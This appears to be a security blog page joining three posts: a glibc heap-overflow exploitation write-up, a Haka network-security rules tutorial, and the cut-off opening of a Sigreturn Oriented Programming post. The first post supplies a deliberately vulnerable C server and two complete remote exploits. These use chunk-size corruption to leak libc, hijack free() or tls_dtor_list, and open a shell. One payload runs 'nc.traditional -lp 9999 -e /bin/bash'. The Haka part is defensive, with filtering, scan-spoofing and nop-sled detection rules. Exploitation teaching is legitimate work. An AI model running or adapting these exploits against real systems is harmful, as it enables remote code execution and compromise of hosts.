The macabre dance of memory chunks

In this post, we want to share some notes on how to exploit heap-based overflow vulnerabilities by corrupting the size of memory chunks. Please note that we do not present here original content but only want to share with the community two detailed write-up. The first one exploits a basic heap-based overflow by enlarging the size of memory chunks. The second one shrinks their sizes in order to turn a NULL byte off-by-one error – present in a hardened binary (all memory corruption mitigations are enabled) – into remote code execution.

Memory Chunks

Before going further, we strongly encourage the reader to go through glibc malloc internals. The post made by sploitfun is probably the best documentation on glibc allocator (ptmalloc2). Here we just recap the structure of an allocated/free memory chunks:

Figure 1 – Two allocated chunks (left) – Free chunk + allocated chunk (right)

Corrupting chunk sizes

There is several techniques to exploit a heap-based overflow. In the following, we will focus on the techniques presented in Goichon’s paper that consist in overflowing the chunk size field. Either enlarging or reducing the size of memory chunks could lead to interesting scenarios where one can overlap a memory chunk into another chunk. If the overlapped chunk contains memory pointers, then an attacker can overwrite them to leak sensitive data and/or to execute code.

The figure below illustrates the first scenario where the size of a chunk is extended. If we manage to (i) allocate three contiguous chunks, namely A, B and C, (ii) free the second one B and extend its size, (iii) allocate a larger chunk than previously requested for B, then chunk C will be overlapped.

 

Figure 2 – Extending memory chunk size

Shrinking the size of chunks to produce overlapping chunks is more complex. Figure 3 illustrates the different steps leading to overlapping chunks. First, we allocate three large contiguous chunks A, B and C. Then, we free chunk B and shrink its size by overwriting the chunk size field. In the third step, we allocate two chunks B_1 and B_2 that feet on that freed chunk. As the size of chunk B has been corrupted, the prev_size of chunk C will not be updated and thus the freed B’s space is unused from C’s perspective. Now, if we free the chunk B_1 and chunk C, then chunks B_1, B_2 and C will be merged. A subsequent allocation larger than B_1 initial size will overlap chunk B_2. For further infomration about this technique, please refer to Tavis Ormandi’s code.

Figure 3 – Shrinking memory chunk size

The vulnerable code

Since the solutions of the challenges we did are meant not to published, we decided to create a new one by reworking slightly the war game from the excellent blackangel’s Phrack paper.

The code below manages a set of agents with basic operations (creation, deletion, profile edition and modification).

When a new agent is created, two memory chunks are allocated. The first one holds a pointer to the agent name along with the length of the agent name, the agent id, and some reserved data. The second chunk holds the agent name pointed to by field name of the first chunk. Those two chunks are freed when agents are deleted.

The vulnerability stems from insufficient reserved space to hold the agent name. More precisely, the allocated chunk at line 89 does not account for the 2-chars  (“A_”) that prefix agent names. Therefore, we can overflow a chunk with two bytes and hence corrupt the size of the next chunk.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_AGENT 256

void main_menu(void);

void agent_create(void);
void agent_show(void);
void agent_select(void);
void agent_delete(void);
void agent_edit(void);

int agent_edit_name(char *buffer, int size);

typedef struct agent {
    unsigned int   size;
    unsigned long  reserved_0;
    char          *name;
    unsigned int   id;
    char           reserved_1[128];
} agent_t;

agent_t *agents[MAX_AGENT];
unsigned int agent_count = 0;
unsigned int agent_sel = 0;
unsigned int global_id = 0;

int main(int argc, char *argv[])
{
    main_menu();
    return 0;
}

void main_menu(void)
{
    int op = 0;
    char opt[2];

    printf("\n\t\t\t\t[1] Create new agent");
    printf("\n\t\t\t\t[2] Select agent");
    printf("\n\t\t\t\t[3] Show agent");
    printf("\n\t\t\t\t[4] Edit agent");
    printf("\n\t\t\t\t[5] Delete agent");
    printf("\n\t\t\t\t[0] <- EXIT");
    printf("\n\t\t\t\tSelect your option:");
    fflush(stdout);
    fgets(opt, 3, stdin);

    op = atoi(opt);

    switch (op) {
        case 1:
            agent_create();
            break;
        case 2:
            agent_select();
            break;
        case 3:
            agent_show();
            break;
        case 4:
            agent_edit();
            break;
        case 5:
            agent_delete();
            break;
        case 0:
            exit(0);
        default:
            break;
    }

    main_menu();
}

void agent_create(void)
{

    char buffer[4096];
    int len;

    if (agent_count < MAX_AGENT) {
        agents[agent_count] = malloc(sizeof(agent_t));

        len = agent_edit_name(buffer, 4096);
        agents[agent_count]->name = malloc(len + 1);
        strncpy(agents[agent_count]->name, "A_", 2);
        memcpy(agents[agent_count]->name + 2, buffer, len);
        agents[agent_count]->name[len + 2] = '\0';
        agents[agent_count]->size = len + 2 + 1;

        agents[agent_count]->reserved_0 = 0;
        memset(agents[agent_count]->reserved_1, '\0', 128);

        agents[agent_count]->id = global_id++;

        agent_sel = agent_count++;
        printf("\n[+] Agent %d selected.", agents[agent_sel]->id);
    }
}

void agent_select(void)
{
    char ag_id[4];
    int ag, i = 0;
    printf("\nWrite agent number:");
    fflush(stdout);
    read(0, ag_id, 3);
    ag = atoi(ag_id);

    while (i < agent_count && agents[i]->id != ag) {
        i++;
    }

    if (i == agent_count) {
        printf("\n[!] No such agent [%d], select another", ag);
    }
    else {
        agent_sel = i;
        printf("\n[+] Agent %d selected.", agents[agent_sel]->id);
    }
}

void agent_edit(void)
{
    char buffer[4096];
    int len;
    if (agent_count > 0) {
        len = agent_edit_name(buffer, 4096);
        if (len + 1 > agents[agent_sel]->size) {
            agents[agent_sel]->name = realloc(agents[agent_sel]->name, len + 1);
        }
        memcpy(agents[agent_sel]->name, buffer, len);
        agents[agent_sel]->name[len] = '\0';
    }
    else {
        printf("\n[!] No agents to edit");
    }
}

int agent_edit_name(char *buffer, int size)
{
    int len = 0;
    printf("\nEdit agent name:");
    fflush(stdout);
    len = read(0, buffer, size - 1);
    if (len > 0 && buffer[len-1] == '\n') len--;
    buffer[len] = '\0';
    return len;
}

void agent_delete(void)
{
    if (agent_count > 0) {
        free(agents[agent_sel]->name);
        free(agents[agent_sel]);
        agent_count--;
        if (agent_count != agent_sel) {
            agents[agent_sel] = agents[agent_count];
            printf("\n[+] Agent %d selected.", agents[agent_sel]->id);
        }
        else {
            agent_sel = 0;
            if (agent_count > 0) {
                printf("\n[+] Agent %d selected.", agents[agent_sel]->id);
            }
            else {
                printf("\n[+] No more agents.");
            }
        }
    }
    else {
        printf("\n[!] No agents to delete");
    }
}

void agent_show(void)
{
    if (agent_count > 0) {
        printf("\n[+] Agent %d: ", agents[agent_sel]->id);
        fflush(stdout);
        write(1, agents[agent_sel]->name, agents[agent_sel]->size);
    }
    else {
        printf("\n[!] No available agents");
    }
}

Write-up – The easy way

Notice that we cannot apply directly the scenario depicted in figure 2. Indeed, if we create three agents and delete the second one, then we cannot enlarge the size of the freed and merged chunks enough to reach interesting data of the third agent. As stated earlier we can overwrite a chunk with only two bytes (one byte + NULL byte). So, we need to shape the heap beforehand so that we can get two adjacent chunks holding agent’s names.

Figure 4 sums up the steps to shape the heap:

  1. We create two agents Ag_0 and Ag_1.
  2. We delete agent Ag_0.
  3. We create a new agent Ag_2 by requesting a large size to store its name than for Ag_0. The chunk holding the name of agent Ag_2 is allocated next to the chunk holding the name og agent Ag_1.
  4. We create a new agent Ag_3 that represents the target to overlap.
  5. We create an additional agent Ag_4 that holds the strings “/bin/sh”. Our goal is to execute a shell by calling system(“/bin/sh”).
Figure 4 – Shaping the heap

The next step is delete agent Ag_2 and corrupt the size of the chunk holding its name (see Figure 5). Now, if we create a new agent Ag_5 on the space left free by agent Ag_2, then the chunk holding the main structure of agent Ag_3 will be overlapped. In our case, we point the name’s pointer to free‘s GOT entry.

If we dump, the data (agent_show) of agent Ag_3, we can leak the address of a libc function and deduce where system address is mapped to.

The final attack stage is to edit the data (agent_edit) of agent Ag_3 to redirect free() calls to system() calls. Now, if we delete Ag_4, we got a shell.

Figure 5 – Overflowing and overlapping next chunk

The exploit is available here:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <inttypes.h>

#define HOSTNAME  "localhost"
#define PORT      5555
#define GOTFREE   0x6015d8
#define SYSOFFSET 0x3b160

#define COLOR_SHELL "\033[31;01mshell\033[00m > "

int  setsock(char *hostname, int port);
void send_data(char *input, int len);
void session();
int  handle_error(char *msg);

void agent_create_ex(char c, int len);
void agent_create(char *buffer, int len);
void agent_select(int agent);
void agent_show(int agent, char *buffer, size_t len);
void agent_edit(int agent, char *buffer, int len);
void agent_delete(int agent);

void select_option(char *opt);

struct fake_agent {
    unsigned long chunk_size;
    unsigned int  len;
    unsigned long reserved_0;
    unsigned long name;
    unsigned int  id;
};

int sock;

int main()
{
    unsigned long system, free;
    struct fake_agent agent;
    char output[1024], input[1024];

    printf("[1] connecting to target ...\n");
    sock = setsock(HOSTNAME, PORT);
    printf("[+] connected\n");
    read(sock, output, 1024);

    printf("[2] shaping heap\n");
    agent_create_ex('A', 0x88 - 1);
    agent_create_ex('B', 0x88 - 1);
    agent_delete(0);
    agent_create_ex('C', 0xa0 + 2);
    agent_create_ex('D', 0xa0 + 2);
    agent_create_ex('E', 0x10);
    agent_edit(4, "/bin/sh", 7);

    printf("[3] overflowing next chunk\n");
    agent_delete(2);
    memset(input, 'B', 0x88);
    input[0x88] = 0xf1;
    agent_edit(1, input, 0x88 + 1);

    printf("[4] overlapping next chunk\n");
    agent.chunk_size = 0xb1;
    agent.len = 0xff;
    agent.reserved_0 = 0xdeadbeef;
    agent.name = GOTFREE;
    agent.id = 3;

    memset(input, 'F', 0xa6);
    memcpy(input + 0xa6, &agent, sizeof(struct fake_agent));
    agent_create(input, 0xa6 + sizeof(struct fake_agent));

    agent_show(3, output, sizeof(output));
    free = *((unsigned long *)(output));
    printf("[+] free function mapped at 0x%"PRIx64"\n", free);
    system = free - SYSOFFSET;

    printf("[+] system function mapped at 0x%"PRIx64"\n", system);

    printf("[5] pwning\n");
    agent_edit(3, (char *)&system, 6);
    agent_delete(4);

    session();

    return 0;
}

void agent_create(char *buffer, int len)
{
    select_option("1");
    send_data(buffer, len);
}

void agent_create_ex(char c, int len)
{
    char buffer[len];
    memset(buffer, c, len);
    agent_create(buffer, len);
}

void agent_select(int agent)
{
    char ag[4];
    int len = snprintf(ag, 4, "%d", agent);
    select_option("2");
    send_data(ag, len);
}

void agent_show(int agent, char *buffer, size_t len)
{
    int amt;
    agent_select(agent);
    write(sock, "3\n", 2);
    read(sock, buffer, len);
    amt = read(sock, buffer, len);
    buffer[amt] = '\0';
}

void agent_edit(int agent, char *buffer, int len)
{
    agent_select(agent);
    select_option("4");
    send_data(buffer, len);
}

void agent_delete(int agent)
{
    agent_select(agent);
    select_option("5");
}

void select_option(char *opt)
{
    send_data(opt, 2);
}

void send_data(char *input, int len)
{
    char output[1024];
    int amt;
    fd_set fds;
    struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };

    write(sock, input, len);

    FD_ZERO(&fds);
    FD_SET(sock, &fds);

    select(sock+1, &fds, NULL, NULL, &tv);

    if (FD_ISSET(sock, &fds)) {
        if ((amt = read(sock, output, 1024 - 1)) == 0) {
            handle_error("connection lost\n");
        }
        output[amt] = '\0';
    }
}

int setsock(char *hostname, int port)
{
    int s;
    struct hostent *hent;
    struct sockaddr_in sa;
    struct in_addr ia;

    hent = gethostbyname(hostname);
    if (hent) {
        memcpy(&ia.s_addr, hent->h_addr, 4);
    }
    else if((ia.s_addr = inet_addr(hostname)) == INADDR_ANY) {
        handle_error("incorrect address !!!\n");
    }

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        handle_error("socket failed !!!\n");
    }

    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr.s_addr = ia.s_addr;

    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) == -1) {
        handle_error("connection failed !!!!\n");
    }

    return s;
}

void session()
{
    char buf[1024];
    int amt;
    fd_set fds;

    printf("[!] enjoy your shell \n");
    fputs(COLOR_SHELL, stderr);

    while (1) {
        FD_ZERO(&fds);
        FD_SET(sock, &fds);
        FD_SET(0, &fds);

        if (select(sock+1, &fds, NULL, NULL, NULL) == -1) {
            continue;
        }

        if (FD_ISSET(0, &fds)) {
            if ((amt = read(0, buf, sizeof(buf) - 1)) == 0) {
                handle_error("connection lost\n");
            }
            buf[amt] = '\0';
            write(sock, buf, strlen(buf));
        }

        if (FD_ISSET(sock, &fds)) {
            if ((amt = read(sock, buf, sizeof(buf) - 1)) == 0) {
                handle_error("connection lost\n");
            }
            buf[amt] = '\0';
            printf("%s", buf);
            fputs(COLOR_SHELL, stderr);
        }
    }
}

int handle_error(char *msg)
{
    perror(msg);
    exit(-1);
}

Write-up – The hard way

Assume now that we apply the following patch to the vulnerable code. Ok, that is better but the code is still vulnerable to an off-by-one heap-based overflow. We cannot enlarge the size of chunks but if we allocate large ones, we can shrink them by overwritting the LSB of the chunk size with a NULL byte.

88c88
<         agents[agent_count]->name = malloc(len + 2);
---
>         agents[agent_count]->name = malloc(len + 1);
92c92
<         agents[agent_count]->size = len + 2;
---
>         agents[agent_count]->size = len + 2 + 1;

The scenario depicted in Figure 3 cannot be applied in one go. We need first to shape the heap in order to produce overlapping chunks.

A closer look at the patch shows that we cannot overflow chunks while editing agents. The chunk size can be corrupted only during agent creation. So the only way to corrupt the chunk size is to allocate a fastbin chunk followed by a large chunk, then free both of them and finally reallocate the fastbin chunk by overflowing this time the size of the next chunk. We rely on a fastbin chunk since it is not merged with adjacent chunks when freed.

Figure 6 sums up the steps to shape the heap:

  1. We create two agents Ag_0 and Ag_1. A fast bin chunk is allocated to hold the name of agent Ag_1.
  2. We delete Agent Ag_0.
  3. We create two agents Ag_2 and Ag_3 by requesting large sizes to hold their names.
  4. We delete Ag_2 and Ag_1.
Figure 6 – Shaping the heap

Now, we are ready to overwrite the size of the previously freed chunk (structure holding Ag_2’s name) by requesting small size (we need a fast bin allocation) for the newly created agent Ag_4.

Then, we create three additional agents Ag_5, Ag_6 and Ag_7 that fit in memory on the free space left by Ag_2. Once deleting Ag_5, Ag_7 and Ag_3, the chunks holding Ag_6’s data will be overlapped if we create a new agent as shown below:

Figure 7 – Overflowing and overlapping next chunk

Note that we created agent Ag_7 and deleted it in the sole purpose to get fd and bk pointers adjacent to the structure holding the name of agent Ag_6. These addresses will be leaked later in order to resolve some libc addresses.

In our exploit, we create a new agent Ag_8 such that its data overlaps the len field of agent Ag_6. Dumping the data of this agent will leak the address the fd pointer from which we can deduce the address of system in libc address space.

Note that in our example, we assume that the binary has been hardened by enabling all gcc’s memory corruption mitigation flags. This means that we cannot rely on the previously technique to overwrite a GOT entry.

Our goal to achieve code execution is to create a fake tls_dtor_list which is a single linked list of functions that run at program exit:

The address of the tls_dtor_list pointer could be derived by setting a pointer on function __call_tls_dtors which iterates over the tls_dtor_list:

Figure 8 – Getting the tls_dtor_list pointer address

This pointer will be used to overwrite the name pointer of agent Ag_6 when editing the data of agent Ag_8. Finally, we edit the data of agent_6 that points now to tls_dotr_list and copy there our fake tls_dtor_entry.

The exploit is available here:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <inttypes.h>

#define HOSTNAME  "localhost"
#define PORT      5555

#define SYS_OFFSET 0x362198
#define TLS_OFFSET 0x1ff038

#define COLOR_SHELL "\033[31;01mshell\033[00m > "

int  set_sock(char *hostname, int port);
void send_data(char *input, int len);
void session(int fd);
int  handle_error(char *msg);

void agent_create(char c, int len);
void agent_select(int agent);
void agent_show(int agent, char *buffer, size_t len);
void agent_edit(int agent, char *buffer, int len);
void agent_delete(int agent);
void agent_exit();

void select_option(char *opt);

struct fake_agent {
    unsigned int  len;
    unsigned long reserved_0;
    unsigned long name;
    unsigned int  id;
};

struct fake_tls_dtor_entry {
    unsigned long ret;
    unsigned long func;
    unsigned long obj;
    char          data[40];
};

int sock;
int retrieve = 1;

int main()
{
    char output[1024], input[1024];
    struct fake_agent agent;
    struct fake_tls_dtor_entry pown;
    unsigned long leak, system, tls_dtor_list;
    int sock2;

    printf("[1] connecting to target ...\n");
    sock = setsock(HOSTNAME, PORT);
    printf("[+] connected\n");
    read(sock, output, 1024);

    printf("[2] shaping heap\n");
    agent_create('A', 0xa0 - 4);
    agent_create('B', 0x18 - 4);
    agent_delete(0);
    agent_create('C', 0x410 - 4);
    agent_create('D', 0x400 - 4);
    agent_delete(2);
    agent_delete(1);

    printf("[3] overflowing next chunk\n");
    agent_create('E', 0x18 - 2);
    agent_create('F', 0x200 - 4);
    agent_create('G', 0xe0 - 4);
    agent_create('H', 0x18 - 4);
    agent_delete(7);
    agent_delete(5);
    agent_delete(3);

    agent_create('\xff', 0x210 - 1);
    agent_show(6, output, sizeof(output));

    leak = *((unsigned long *)(output + 240));
    system = leak - SYS_OFFSET;
    printf("[+] system function mapped at 0x%"PRIx64"\n", system);
    tls_dtor_list = leak + TLS_OFFSET;
    printf("[+] tls_dtor_list pointer at 0x%"PRIx64"\n", tls_dtor_list);

    printf("[4] overlapping next chunk\n");
    agent.len = 0xff;
    agent.reserved_0 = 0xdeadbeef;
    agent.name = tls_dtor_list;
    agent.id = 6;
    memset(input, 'X', 0x210);
    memcpy(input + 0x210, &agent, sizeof(struct fake_agent));
    agent_edit(8, input, 0x210 + sizeof(struct fake_agent));

    pown.ret = tls_dtor_list + 0x8;
    pown.func = system;
    pown.obj = tls_dtor_list + 0x18;
    strcpy(pown.data, "nc.traditional -lp 9999 -e /bin/bash");

    agent_edit(6, (char *)&pown, sizeof(struct fake_tls_dtor_entry));

    printf("[5] powning\n");
    retrieve = 0;
    agent_exit();

    sleep(2);

    close(sock);
    sock2 = setsock(HOSTNAME, 9999);
    session(sock2);

    return 0;
}

void agent_exit()
{
    select_option("0");
}

void agent_create(char c, int len)
{
    char buffer[len];
    memset(buffer, c, len);
    select_option("1");
    send_data(buffer, len);
}

void agent_select(int agent)
{
    char ag[4];
    int len = snprintf(ag, 4, "%d", agent);
    select_option("2");
    send_data(ag, len);
}

void agent_show(int agent, char *buffer, size_t len)
{
    int amt;
    agent_select(agent);
    write(sock, "3\n", 2);
    read(sock, buffer, len - 1);
    amt = read(sock, buffer, len - 1);
    buffer[amt] = '\0';
}

void agent_edit(int agent, char *buffer, int len)
{
    agent_select(agent);
    select_option("4");
    send_data(buffer, len);
}

void agent_delete(int agent)
{
    agent_select(agent);
    select_option("5");
}

void select_option(char *opt)
{
    send_data(opt, 2);
}

void send_data(char *input, int len)
{
    char output[1024];
    int amt;
    write(sock, input, len);
    if (retrieve) {
        amt = read(sock, output, sizeof(output) - 1);
        output[amt] = '\0';
    }
}

int setsock(char *hostname, int port)
{
    int s;
    struct hostent *hent;
    struct sockaddr_in sa;
    struct in_addr ia;

    hent = gethostbyname(hostname);
    if (hent) {
        memcpy(&ia.s_addr, hent->h_addr, 4);
    }
    else if((ia.s_addr = inet_addr(hostname)) == INADDR_ANY) {
        handle_error("incorrect address !!!\n");
    }

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        handle_error("socket failed !!!\n");
    }

    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr.s_addr = ia.s_addr;

    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) == -1) {
        handle_error("connection failed !!!!\n");
    }

    return s;
}

void session(int sock)
{
    char buf[1024];
    int amt;
    fd_set fds;

    printf("[!] enjoy your shell \n");
    fputs(COLOR_SHELL, stderr);

    while (1) {
        FD_ZERO(&fds);
        FD_SET(sock, &fds);
        FD_SET(0, &fds);

        if (select(sock+1, &fds, NULL, NULL, NULL) == -1) {
            continue;
        }

        if (FD_ISSET(0, &fds)) {
            if ((amt = read(0, buf, sizeof(buf) - 1)) == 0) {
                handle_error("connection lost\n");
            }
            buf[amt] = '\0';
            write(sock, buf, strlen(buf));
        }

        if (FD_ISSET(sock, &fds)) {
            if ((amt = read(sock, buf, sizeof(buf) - 1)) == 0) {
                handle_error("connection lost\n");
            }
            buf[amt] = '\0';
            printf("%s", buf);
            fputs(COLOR_SHELL, stderr);
        }
    }
}

int handle_error(char *msg)
{
    perror(msg);
    exit(-1);
}

 

Hackers do the Haka – Part 1

Haka is an open source network security oriented language that allows writing security rules and protocol dissectors. In this first part of a two-part series, we will focus on writing security rules.

What is Haka

Haka is an open source security oriented language that allows specifying and applying security policies on live captured traffic. Haka is based on Lua. It is a simple, lightweight (~200 kB) and fast (a JiT compiler is available) scripting language.

The scope of Haka is twofold. First of all, it enables the specification of security rules to filter unwanted streams and report malicious activities. Haka provides a simple API for advanced packet and stream manipulation. One can drop packets or create new ones and inject them. Haka also supports on-the-fly packet modification. This is one of the main features of Haka since all complex tasks such as resizing packets, setting correctly sequence numbers are done transparently to the user. This is done live without the need of a proxy.

Secondly, Haka is endowed with a grammar allowing the specification of protocols and their underlying state machine. Haka supports both type of protocols : binary-based protocols (e.g. dns) and text-based protocols (e.g. http). The specification covers packet-based protocols such as ip as well as stream-based protocols like http.

Haka is embedded into a modular framework. It includes several packet capture modules (pcap, nfqueue) that enable end users to apply their security policy on live captured traffic or to replay it on a packet trace file. The framework provides also logging (syslog) and alerting modules (syslog, elasticsearch). Alerts follow an IDMEF-like format. Finally, the framework has auxiliary modules such as a pattern matching engine and an instruction disassembler module. These modules allow writing fine-grained security rules to detect obfuscated malware for instance. Haka was designed in a modular fashion enabling users to extend it with additional modules.

arch

Haka Tool Suite

Haka provides a collection of four tools:

    • haka. It is the main program of the collection. It is intended to be used as a daemon to monitor packets in the background. Packets are dissected and filtered according to the specified security policy file. Haka takes as input a configuration file. For example, the following configuration sample file instructs Haka to capture packets from the interface eth0 using nfqueue module and to filter them using the policy file myrules.lua. This script file loads typically user-defined or built-in protocol dissectors and defines a set of security rules. Additionally, users can select the alerting and reporting module to be used and set some specific module options:
      [general]
      # Select the haka configuration file to use
      configuration = "myrules.lua"
      
      # Optionally select the number of thread to use
      # By default, all system thread will be used
      #thread = 4
      
      [packet]
      # Select the capture model, nfqueue or pcap
      module = "packet/nfqueue"
      
      # Select the interfaces to listen to
      #interfaces = "any"
      interfaces = "eth0"
      
      # Select packet dumping for nfqueue
      #dump = yes
      #dump_input = "/tmp/input.pcap"
      #dump_output = "/tmp/output.pcap"
      
      [log]
      # Select the log module
      module = "log/syslog"
      
      # Set the default logging level
      #level = "info,packet=debug"
      
      [alert]
      # Select the alert module
      module = "alert/syslog"
      #module = "alert/file"
      #module = "alert/elasticsearch"
      
      # Disable alert on standard output
      #alert_on_stdout = no
      
    • hakactl. This tool allows controling a running Haka daemon. One can get live statistics on captured packets, inspect logs or simply shutdown/restart the daemon.
    • hakapcap. This tool allows replaying a policy file offline on a packet capture trace using the pcap module. For instance, this is useful to perform network forensics.
    • hakabana. This tool allows visualizing and monitoring network traffic in real time using Kibana and Elasticsearch. Hakabana consists in a set of custom security rules that pushes information about the traffic that passes though Haka on an elastisserach server and made them available through a Kibana dashboard. An additional dashboard is also available to visualize Haka alerts.

Kibana dashboard to visualize alertsKibana dashboard to monitor network trafic

Writing security rules

Haka provides a simple way to write security rules in order to filter, modify, create and inject packets and streams. When a flow is detected as malicious, users can report an alert or drop the flow. Users can define even more complex scenarios to mitigate the impact of an attack. For instance, one can alter http requests to force obsolete browsers to update or forge specific packets to fool scanning port tools.

Packet Filtering

The following rule is a basic packet filtering rule that blocks all connections from a given network address.

local ipv4 = require("protocol/ipv4")
local tcp = require("protocol/tcp_connection")

local net = ipv4.network("192.168.101.0/24")

haka.rule{
    hook = tcp.events.new_connection,
    eval = function (flow, pkt)
        haka.log("tcp connection %s:%i -> %s:%i",
            flow.srcip, flow.srcport,
            flow.dstip, flow.dstport)

        if net:contains(flow.dstip) then
            haka.alert{
                severity = "low",
                description = "connection refused",
                start_time = pkt.ip.raw.timestamp
            }
            flow:drop()
        end
    end
}

The first lines load the required protocol dissectors, namely, ipv4 and tcp connection dissectors. The first one handles ipv4 packets. The latter is a stateful tcp dissector that maintains a connection table and manages tcp streams. The next line, defines the network address that must be blocked.

The security rule is defined through haka.rule keyword. A security rule is made of a hook and a evaluation function eval. The hook is an event that will trigger the evaluation of the security rule. In this example, the security rule will be evaluated at each tcp connection establishment attempt. The parameters passed to the evaluation function depend on the event. In the case of new_connection event, eval takes two parameters: flow and pkt. The first one holds details about the connection and the latter is a table containing all tcp (and lower layer) packet fields.

In the core of the security rule, we log (haka.log) first some information about the current connection. Then, we check if the source address  belongs to the range of non-authorized IP addresses defined previously. If this test succeeds, we raise an alert (haka.alert) and drop the connection.  Note that we reported only few details in the alert. One can add more information such as the source and the targeted service.

We use hakapcap tool to test our rule filter.lua on a pcap trace file filter.pcap:

$ hakapcap filter.lua filter.pcap

Hereafter, is the output of Haka which dumps some info about loaded dissectors and registered rules. The output shows that Haka succeeded to block connections targeting 192.168.101.62 address:

filter

In the above example, we have defined a single rule to block connections. One can write a complete firewall-like rule set using the haka.group keyword. In this configuration case, one can choose a default behavior (e.g. block all connections) if none of the security rule belonging to the group explicitly authorizes the traffic.

Packet Injection

In Haka, one can create new packets and inject them. The following rule crafts an RST packet in order to fool a Xmas nmap scan. As as result, nmap will conclude that all ports are closed on target side.

raw = require("protocol/raw")
ipv4 = require("protocol/ipv4")
tcp = require("protocol/tcp")

haka.rule {
    hook = tcp.events.receive_packet,
    eval = function(pkt)
        local flags = pkt.flags
        -- test for xmas nmap scans
        if flags.fin and flags.psh and flags.urg then
            -- raw packet
            local rstpkt = raw.create()

            -- ip packet
            rstpkt = ipv4.create(rstpkt)
            rstpkt.ttl = pkt.ip.ttl
            rstpkt.dst = pkt.ip.src
            rstpkt.src = pkt.ip.dst

            -- tcp packet
            rstpkt = tcp.create(rstpkt)
            rstpkt.srcport = pkt.dstport
            rstpkt.dstport = pkt.srcport
            rstpkt.flags.rst = true
            rstpkt.flags.ack = true
            rstpkt.ack_seq = pkt.seq + 1

            -- inject forged packet and
            -- drop malicious scanning packet
            rstpkt:send()
            pkt:drop()
        end
    end
}

Packet Altering

Packet modification is one of the most advanced feature of Haka. Haka handles automatically all internal modifications at stream and packet level: resizing and fragmenting packets, resetting sequence numbers, etc. The following example shows how easy it is to access and modify protocol fields. This rule alters some headers of http protocol. More precisely, the user-agent header will be modified (or added to the list of headers if not set), and the accept-encoding header will be removed.

local http = require("protocol/http")

http.install_tcp_rule(80)

haka.rule{
    hook = http.events.request,
    eval = function (flow, request)
        request.headers["User-Agent"] = "HAKA User Agent"
        request.headers["Accept-Encoding"] = nil
    end
}

blurring-the-web and inject_ponies are funny scripts that alter http response traffic in order to blur and pollute (inject garbage) requested web pages, respectively:

blurponies

Stream Filtering

Before presenting stream filtering, we will present first how Haka manages packets and streams internally. In Haka, all packets and streams are represented by virtual buffers (see figure below). Virtual buffers are a unified view of non-adjacent blocks of memory. They allow an easy and efficient modification of memory data. Virtual buffers use scattered lists to represent non-contiguous chunks which avoids allocating and copying superfluous block of memory. Haka provides iterators to navigate through these blocks of memory. These iterators could be blocking which would enable some functions to suspend and then resume transparently their execution when more data is available on the stream for instance.

vbufferThe following rule collects http streams and dumps them on stdout. This rule is equivalent to the “follow tcp stream” feature of Wireshark.

local ipv4 = require('protocol/ipv4')
local tcp_connection = require('protocol/tcp_connection')

haka.rule{
    hook = tcp_connection.events.receive_data,
        options = {
            streamed = true
        },
    eval = function (flow, iter, dir)
        local data = flow.ccdata or {}
        flow.ccdata = data

        while iter:wait() do
            data[#data+1] = iter:sub('available'):asstring()
        end
        haka.log("%s -> %s:\n", flow.srcip, flow.dstip)
        io.write(table.concat(data))
     end
}

Interactive Packet Filtering

Wait, it’s like gdb but for packets !! – Anonymous Haka user

This is my favorite feature of Haka. It allows inspecting the traffic packet per packet. All the magic starts with the following rule which will prompt a shell for each http POST request.

local http = require("protocol/http")

http.install_tcp_rule(80)

haka.rule {
    hook = http.events.request_data,
    eval = function (http, data)
        haka.interactive_rule("interactive mode")(http, data)
    end
}

haka.rule {
    hook = http.events.request,
    eval = function (http, request)
        http:enable_data_modification()
    end
}

The shell gives access to the full Haka API to play with packet content: accessing and modifying packet fields, dropping packets, logging suspicious events, alerting, etc. The Lua console supports auto-completion and therefore is a good starting point to dive into the Haka API.

As shown by the following output, Haka breaks on the first POST request. Http data are available through the inputs variable. In this example, we alter the user credentials on the fly.

interactive

Note that it is best to use the interactive rule on pcap files as the edition will add a substantial delay.

Advanced Stream Filtering

Haka features a pattern matching engine and disassembler modules. These two modules are stream-based which enables us to detect a malicious payload scattered over multiple packets for instance. The following rule, uses a regular expression to detect a nop sled. We enable the streamed option which means that the matching function will block and wait for data to be available to proceed with matching. If a nop sled is detected, we raise an alert and dump the shellcode instruction. Note that the pattern matching function updates the iterator position which points afterwards to the shellcode.

local tcp = require("protocol/tcp_connection")

local rem = require("regexp/pcre")
local re = rem.re:compile("%x90{100,}")

local asm = require("misc/asm")
local dasm = asm.new_disassembler("x86", "32")

haka.rule{
    hook = tcp.events.receive_data,
        options = {
            streamed = true,
    },
    eval = function (flow, iter, direction)
        if re:match(iter, false) then
            -- raise an alert
            haka.alert{
                description = "nop sled detected",
            }
            -- dump instructions following nop sled
            dasm:dump_instructions(iter)
        end
    end
}

Replaying this rule on the well-known network forensic challenge results on the following output. More details about disassembling network traffic into instruction are available here.

asm

To be continued …

Links

Playing with signals : An overview on Sigreturn Oriented Programming

Introduction

Back to last GreHack edition, Herbert Bos has presented a novel technique to exploit stack-based overflows more reliably on Linux. We review hereafter this new exploitation technique and provide an exploit along with the vulnerable server. Even if this technique is portable to multiple platforms, we will focus on a 64-bit Linux OS in this blog post.

All sample code used in this blogpost is available for download through the following archive.

We’ve got a signal

When the kernel delivers a signal, it creates a frame on the stack where it stores the current execution context (flags, registers, etc.) and then gives the control to the signal handler. After handling the signal, the kernel calls sigreturn to resume the execution. More precisely, the kernel uses the following structure pushed previously on the stack to recover the process context. A closer look at this structure is given by figure 1.

typedef struct ucontext {
    unsigned long int    uc_flags;
    struct ucontext     *uc_link;
    stack_t              uc_stack;
    mcontext_t           uc_mcontext;
    __sigset_t           uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
} ucontext_t;

